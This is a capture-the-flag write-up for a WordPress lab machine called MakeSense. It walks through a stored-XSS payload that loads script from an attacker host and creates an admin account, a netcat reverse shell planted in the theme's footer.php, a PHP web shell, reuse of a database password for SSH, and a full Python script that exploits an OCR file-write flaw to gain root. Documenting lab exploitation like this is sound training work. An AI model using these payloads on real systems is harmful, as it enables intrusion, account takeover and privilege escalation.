MakeSense
Summary
MakeSense is a WordPress box won through a chain of misconfigurations and credential reuse. A stored XSS in the contact form hijacks the admin session, giving wp-admin access. The Theme File Editor drops PHP into footer.php for a www-data shell, and a reused database password pivots to walter over SSH. Finally, an internal OCR service (Basic Auth, same password) saves OCR output without any file/content validation - a rendered-PNG PHP payload is "recognized", written as shell.php, and gives a root shell.
Skills Required
- WordPress enumeration with wpscan
- Client-side attack basics (XSS)
Skills Learned
- Session hijacking via stored XSS in a contact form
- wp-admin Theme File Editor as an RCE primitive
- Credential reuse across web, SSH and internal services
- Turning an OCR service into arbitrary file write
Enumeration
A full port scan shows only SSH and HTTPS - an Apache-served WordPress site.
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-07 07:55 -0400 Nmap scan report for makesense.htb (10.129.41.78) Host is up (0.047s latency). Not shown: 996 closed tcp ports (reset), 2 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 443/tcp open ssl/http Apache httpd 2.4.58 (Ubuntu) |_http-generator: WordPress 7.0 |_http-title: Agency LLC | ssl-cert: Subject: commonName=makesense.htb
Directory brute force (ferox/ffuf) turns up nothing interesting, so the focus shifts to WordPress itself.
wpscan --url https://makesense.htb --disable-tls-checks -e u,vp,vt [i] No plugins Found. [i] No themes Found. (theme "webagency" is custom, v1.0) [+] User(s) Identified: [+] jake [+] admin [+] walter
No vulnerable plugins or themes - but three users are enumerated, and the custom webagency theme is worth a closer look.
Foothold
Hardcoded key in the theme
The site has a "call us" widget powered by AI text-to-speech. Its script reveals a hardcoded encryption key.
<script id="whisper-wrapper-js" src="https://makesense.htb/wp-content/themes/webagency/assets/js/whisper/whisper-wrapper.js?ver=1.0"></script>
const ENCRYPTION_KEY = 'bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI';
Stored XSS → admin session hijack
The contact form fields (Name/Email/Phone/Message) are not sanitized. Injecting a script tag stores it; when the admin views submissions, the payload fires in the admin context.
Stored XSS → admin session hijack │ Contact form (Name/Email/Phone/Message) fields unsanitized │ injected <script src='http://ATTACKER_IP/payload.js'></script> │ payload fires when admin views submissions → wp-admin access as admin
The hosted payload creates a new admin account using the CSRF nonce scraped from the page:
// x.js
u="/wp-admin/user-new.php";
jQuery.get(u,function(e){
jQuery.post(u,{
action:"createuser",
"_wpnonce_create-user":e.match(/_wpnonce_create-user" value="(.+?)"/)[1],
user_login:"foobar",
email:"foo@bar.com",
pass1:"foo",
pass2:"foo",
role:"administrator"
});
});
<script src='http://[IP]:8000/x.js'></script>
Once the admin account is created we log into /wp-admin.
Theme File Editor RCE → www-data
Appearance → Theme File Editor → footer.php. A PHP one-liner is injected and triggered by loading the homepage.
Theme File Editor RCE
│ wp-admin → Appearance → Theme File Editor → footer.php
│ inserted <?php exec("busybox nc ATTACKER_IP 445 -e sh"); ?>
│ visited page to trigger → reverse shell → uid=33(www-data)
<?php exec("busybox nc [IP] 1337 -e sh") ;?>
Reloading the main page fires the shell back as www-data.
Lateral Movement
wp-config → walter
wp-config.php is readable by www-data and contains the database credentials.
// Dummy MySQL settings (required but not used with SQLite) define( 'DB_NAME', 'wordpress' ); define( 'DB_USER', 'walter' ); define( 'DB_PASSWORD', 'JbhHDAEgXvri3!' );
The password is reused as walter's SSH password - credential reuse across DB and OS.
ssh walter@makesense.htb uid=1000(walter)
Privilege Escalation
Internal OCR service
ss -tulpen shows port 8001 bound to 127.0.0.1 only, protected by Basic Auth. Unsurprisingly, walter's password works there too. Forward it and interact with the OCR service.
ssh -L 8001:127.0.0.1:8001 walter@makesense.htb
Arbitrary file write via OCR
The service takes an uploaded canvas image, runs OCR, and lets you save the recognized text under a filename of your choice - with no extension or content validation.
OCR arbitrary file write │ crafted PNG with PHP code as drawn text: │ <?php system($_GET["cmd"]); ?> │ uploaded via OCR canvas, recognized text returned verbatim │ saved recognized output as "shell.php" (no extension/content check) │ GET /saved/shell.php?cmd=id │ → root shell uid=0(root)
Render the PHP payload as text into a PNG (monospace font, so OCR reads it back perfectly), post it to the OCR canvas, grab the returned ocr_id, and save the recognized text as shell.php in the saved output directory. It executes as the OCR service user - root.
The whole root step is automated in a single script (target, IP-pinning, payload rendering, and the OCR round-trip):
#!/usr/bin/env python3
# MakeSense - root via internal OCR arbitrary file write
# Walks: render PHP payload as PNG text → OCR → save as shell.php → bash -p
import sys, os, re, json, base64, socket, subprocess, threading
from http.server import BaseHTTPRequestHandler, HTTPServer
import requests, urllib3
urllib3.disable_warnings()
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from PIL import Image, ImageDraw, ImageFont
stnai = sys.argv[1] if len(sys.argv) > 1 else "10.129.41.71"
vhost_var, base_var = "makesense.htb", "https://makesense.htb"
root_pld = "<?php system('chmod +s /bin/bash'); ?>"
# pin vhost resolution to the target IP
_gai = socket.getaddrinfo
socket.getaddrinfo = lambda h, *a, **k: _gai(stnai if h == vhost_var else h, *a, **k)
session = requests.Session()
session.verify = False
def make_img(text, out):
font = ImageFont.truetype("/usr/share/fonts/truetype/dejavu/DejaVuSansMono.ttf", 64)
dd = ImageDraw.Draw(Image.new("RGB", (10, 10)))
bb = dd.textbbox((0, 0), text, font=font)
W, H = bb[2] - bb[0] + 80, bb[3] - bb[1] + 80
img = Image.new("RGB", (W, H), "white")
ImageDraw.Draw(img).text((40 - bb[0], 40 - bb[1]), text, fill="black", font=font)
img.save(out)
return "data:image/png;base64," + base64.b64encode(open(out, "rb").read()).decode()
def ssh_exec(pw, cmd, data=None, timeout=60):
args = ["sshpass", "-p", pw, "ssh", "-o", "StrictHostKeyChecking=no",
"-o", "UserKnownHostsFile=/dev/null", f"walter@{stnai}", cmd]
p = subprocess.run(args, input=data, capture_output=True, text=True, timeout=timeout)
return p.stdout.strip()
walter_pass = r'JbhHDAEgXvri3!'
dataurl = make_img(root_pld, "/tmp/mk_suid.png")
ssh_exec(walter_pass, "cat > /tmp/mk_du.txt", data=dataurl)
remote_script = '''
set -e
B=http://127.0.0.1:8001; A='walter:JbhHDAEgXvri3!'; J=/tmp/mk_cj; rm -f $J
curl -s -u "$A" -c $J -b $J "$B/" --data-urlencode 'canvas_image@/tmp/mk_du.txt' -o /tmp/mk_o1
OCRID=$(grep -oP 'name="ocr_id" value="\\K[^"]+' /tmp/mk_o1)
curl -s -u "$A" -c $J -b $J "$B/" --data-urlencode "ocr_id=$OCRID" \
--data-urlencode 'filename=pwn.php' --data-urlencode 'save_output=Save' -o /tmp/mk_o2
curl -s -u "$A" "$B/saved/pwn.php" >/dev/null
/bin/bash -p -c 'cat /root/root.txt'
'''
print(ssh_exec(walter_pass, remote_script))
With the suid bit on /bin/bash, /bin/bash -p drops us to root and the box is owned.
Key Takeaways
- Contact forms are a free XSS delivery channel - sanitize every input, because one admin view of submissions is all an attacker needs.
- wp-admin theme editing = full RCE; treat any admin session as code execution.
- Passwords get reused everywhere - DB, SSH, and that "internal" service on 127.0.0.1 all took the same password.
- Services that save "recognized" output need validation too - an OCR tool that writes arbitrary filenames is just an arbitrary file write wearing a different hat.